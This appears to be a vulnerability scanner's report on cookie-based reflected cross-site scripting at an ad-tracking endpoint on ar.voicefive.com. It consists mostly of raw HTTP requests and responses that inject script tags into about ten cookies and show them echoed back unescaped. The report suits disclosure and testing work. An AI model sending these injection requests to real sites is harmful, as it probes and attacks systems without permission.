GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1ec7e2<script>alert(1)</script>cfec602e3b5; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:20 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:20 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... 010&prad=48493791&arc=37093140&', "UID": '177862ed-204.0.5.41-1288922372', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&', "BMX_3PC": '1ec7e2<script>alert(1)</script>cfec602e3b5', "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=1292110859', "ar_70821733": 'exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&', "ar_p76459 ...[SNIP]...
The value of the BMX_BR cookie is copied into the HTML document as plain text between tags. The payload 64715<script>alert(1)</script>0245a6e63af was submitted in the BMX_BR cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=129211085964715<script>alert(1)</script>0245a6e63af;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:24 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:24 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... -1288922372', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&', "BMX_3PC": '1', "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=129211085964715<script>alert(1)</script>0245a6e63af', "ar_70821733": 'exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&', "ar_p76459327": 'exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec ...[SNIP]...
The value of the BMX_G cookie is copied into the HTML document as plain text between tags. The payload 2f983<script>alert(1)</script>35fb33d1247 was submitted in the BMX_G cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=02f983<script>alert(1)</script>35fb33d1247; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:21 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:21 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "UID": '177862ed-204.0.5.41-1288922372', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23 ...[SNIP]... , "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=1292110859', "ar_70821733": 'exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&', "BMX_G": '02f983<script>alert(1)</script>35fb33d1247', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&', "ar_p76459327": 'exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00 ...[SNIP]...
The value of the UID cookie is copied into the HTML document as plain text between tags. The payload 81f9f<script>alert(1)</script>5831657a1df was submitted in the UID cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-128892237281f9f<script>alert(1)</script>5831657a1df; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:22 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:22 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... 4:08:26 2010&prad=56363817&arc=38845248&', "ar_p43112268": 'exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&', "UID": '177862ed-204.0.5.41-128892237281f9f<script>alert(1)</script>5831657a1df', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&', "BMX_3PC": '1', "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=1292110859', "ar_708 ...[SNIP]...
The value of the ar_70821733 cookie is copied into the HTML document as plain text between tags. The payload ab359<script>alert(1)</script>47a5537d497 was submitted in the ar_70821733 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&ab359<script>alert(1)</script>47a5537d497; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:21 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:21 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov ...[SNIP]... "BMX_3PC": '1', "BMX_BR": 'pid=p76910469&prad=50021&arc=521&exp=1292110859', "ar_70821733": 'exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&ab359<script>alert(1)</script>47a5537d497', "ar_p76459327": 'exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&' });
The value of the ar_p43112268 cookie is copied into the HTML document as plain text between tags. The payload 996bb<script>alert(1)</script>43ad9a6db3b was submitted in the ar_p43112268 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&996bb<script>alert(1)</script>43ad9a6db3b; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:23 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:23 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "UID": '177862ed-204.0.5.41-1288922372', "ar_p76910469": 'exp=1&initExp=Sat Dec 11 23 ...[SNIP]... u Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&', "ar_p43112268": 'exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&996bb<script>alert(1)</script>43ad9a6db3b' });
The value of the ar_p70821733 cookie is copied into the HTML document as plain text between tags. The payload 447e1<script>alert(1)</script>b180140c94a was submitted in the ar_p70821733 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&447e1<script>alert(1)</script>b180140c94a; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:24 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:24 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&447e1<script>alert(1)</script>b180140c94a', "ar_p72213098": 'exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&', "ar_p43112268": 'exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:4 ...[SNIP]...
The value of the ar_p72213098 cookie is copied into the HTML document as plain text between tags. The payload 6376a<script>alert(1)</script>1fac8e76f23 was submitted in the ar_p72213098 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&6376a<script>alert(1)</script>1fac8e76f23; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:23 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:23 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&', "ar_p72213098": 'exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&6376a<script>alert(1)</script>1fac8e76f23', "ar_p43112268": 'exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&', "UID": '177862ed-204.0.5.41-1288922372', "ar_p76910469": 'exp=1&initExp=Sat D ...[SNIP]...
The value of the ar_p76230671 cookie is copied into the HTML document as plain text between tags. The payload a358b<script>alert(1)</script>cd9aa76dedc was submitted in the ar_p76230671 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&a358b<script>alert(1)</script>cd9aa76dedc; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
HTTP/1.1 200 OK Server: nginx Date: Sun, 12 Dec 2010 03:23:20 GMT Content-Type: application/x-javascript Connection: close Vary: Accept-Encoding Set-Cookie: BMX_G=0; expires=Tue 18-Mar-2008 03:23:20 GMT; path=/; domain=.voicefive.com; P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT" Cache-Control: max-age=0, no-cache, no-store, must-revalidate Pragma: no-cache Expires: -1 Vary: User-Agent,Accept-Encoding Content-Length: 1006
({ "ar_p76230671": 'exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&a358b<script>alert(1)</script>cd9aa76dedc', "BMX_G": '0', "ar_p70821733": 'exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&', "ar_p72213098": 'exp=2&initExp=Thu Nov 25 14:06:18 2010&recEx ...[SNIP]...
The value of the ar_p76459327 cookie is copied into the HTML document as plain text between tags. The payload b30ca<script>alert(1)</script>7badc2c3ab9 was submitted in the ar_p76459327 cookie. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.
Request
GET /b/node_rcAll.pli HTTP/1.1 Host: ar.voicefive.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: ar_p76910469=exp=1&initExp=Sat Dec 11 23:40:59 2010&recExp=Sat Dec 11 23:40:59 2010&prad=50021&arc=521&; BMX_3PC=1; ar_p76230671=exp=1&initExp=Fri Nov 5 01:59:32 2010&recExp=Fri Nov 5 01:59:32 2010&prad=7777&arc=77&; ar_70821733=exp=1&initExp=Thu Nov 25 14:08:26 2010&recExp=Thu Nov 25 14:08:26 2010&prad=259071220&arc=iwchyu00003309&; BMX_G=0; UID=177862ed-204.0.5.41-1288922372; ar_p76459327=exp=1&initExp=Sun Dec 5 00:50:24 2010&recExp=Sun Dec 5 00:50:24 2010&prad=56089138&arc=39228779&b30ca<script>alert(1)</script>7badc2c3ab9; ar_p43112268=exp=1&initExp=Sat Oct 30 01:41:28 2010&recExp=Sat Oct 30 01:41:28 2010&prad=48493791&arc=37093140&; ar_p72213098=exp=2&initExp=Thu Nov 25 14:06:18 2010&recExp=Thu Nov 25 14:08:26 2010&prad=56363817&arc=38845248&; ar_p70821733=exp=3&initExp=Sat Nov 20 17:21:59 2010&recExp=Sat Nov 20 17:22:00 2010&prad=259071293&arc=184503545&; BMX_BR=pid=p76910469&prad=50021&arc=521&exp=1292110859;
Response
